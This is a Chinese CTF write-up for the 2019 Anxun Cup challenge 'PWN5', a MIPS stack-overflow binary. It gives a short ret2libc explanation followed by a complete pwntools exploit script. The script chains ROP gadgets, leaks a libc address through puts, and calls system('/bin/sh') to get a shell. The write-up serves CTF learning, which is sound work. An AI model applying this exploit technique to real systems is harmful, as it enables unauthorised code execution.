

PWN5

发表于 2021-01-16 分类于 [Challenge](#) , [2019](#) , [安洵杯](#) , [Pwn](#)
[Challenge](#) | [2019](#) | [安洵杯](#) | [Pwn](#) | [PWN5](#)

[点击此处](#)获得更好的阅读体验

WriteUp来源

<https://xz.aliyun.com/t/6912>

题目考点

- MIPS
- ROP

解题思路

分析

逆向代码，在 `vuln` 函数中存在一处栈溢出

□

但是没有 `system` 函数，需要进行 `ret2libc` 的利用，先泄露出 `got` 表里面的内容，之后调用 `system` 函数即可。

□

`/bin/sh` 字符串在 `libc` 中也可以找到，直接调用 `system("/bin/sh")` 即可

EXP

```

1 from pwn import *
2
3 #context.log_level="debug"
4
5 r = remote("127.0.0.1",8881)
6 #r = process("./build_pwn2.sh")
7 elf = ELF("./pwn2")
8 libc = ELF("/home/h4lo/mipsel-env/lib/libuClibc-0.9.33.2.so")
9
10
11 payload = "H4lo"
12 #payload += p32(0x00410AA0)
13
14 r.recvuntil("What's your name:")
15 r.sendline(payload)
16
17 sleep(0.2)
18 r.recv()
19
20 sleep(0.2)
21
22 # gadget1
23 payload = p32(1) * 9
24 payload += p32(0x004006C8)
25
26 #payload += p32(elf.plt['puts']) # fp
27 payload += p32(1)
28
29 payload += "a" * 0x18
30 payload += 'a' * 4 # s0
31 #payload += p32(elf.got['puts']) # s1
32 payload += p32(0x00410B58)
33 payload += p32(0x0040092C) # s2
34
35
36 payload += 'a' * 4 # s3
37 payload += p32(0x004007A4) # ra
38
39
40 payload += 'a'*0x20
41 payload += p32(0x004007C4)
42
43 sleep(0.2)
44 r.send(payload)
45
46 r.recv()
47 #success(a)
48 libc_addr = u32(r.recv(4))-libc.symbols['puts']
49
50 success("libc_addr: " + hex(libc_addr))
51
52 r.recv()
53 #r.send(payload)
54 system_addr = libc_addr + libc.symbols['system']
55 binsh_addr = libc_addr + 0x9bc48
56
57
58
59 # gadget2
60 payload = 'a'*0x24
61 payload += p32(0x004006C8)
62
63 payload += 'a'*0x1c
64 payload += 'a'*4 #s0
65 payload += p32(binsh_addr)
66 payload += p32(system_addr)
67 payload += 'a'*4
68 payload += p32(0x004007A4)
69
70 r.send(payload)
71
72
73 r.interactive()

```

- 本文作者: CTFHub
- 本文链接: <https://writeup.ctfhub.com/Challenge/2019/安淘杯/Pwn/mKYJDpH2CJBtJISjvn6Qaq.html>
- 版权声明: 本博客所有文章除特别声明外, 均采用 [BY-NC-SA](#) 许可协议。转载请注明出处!

[#Challenge](#) [#Pwn](#) [#2019](#) [#安淘杯](#)

[PWN4](#)

[rand](#)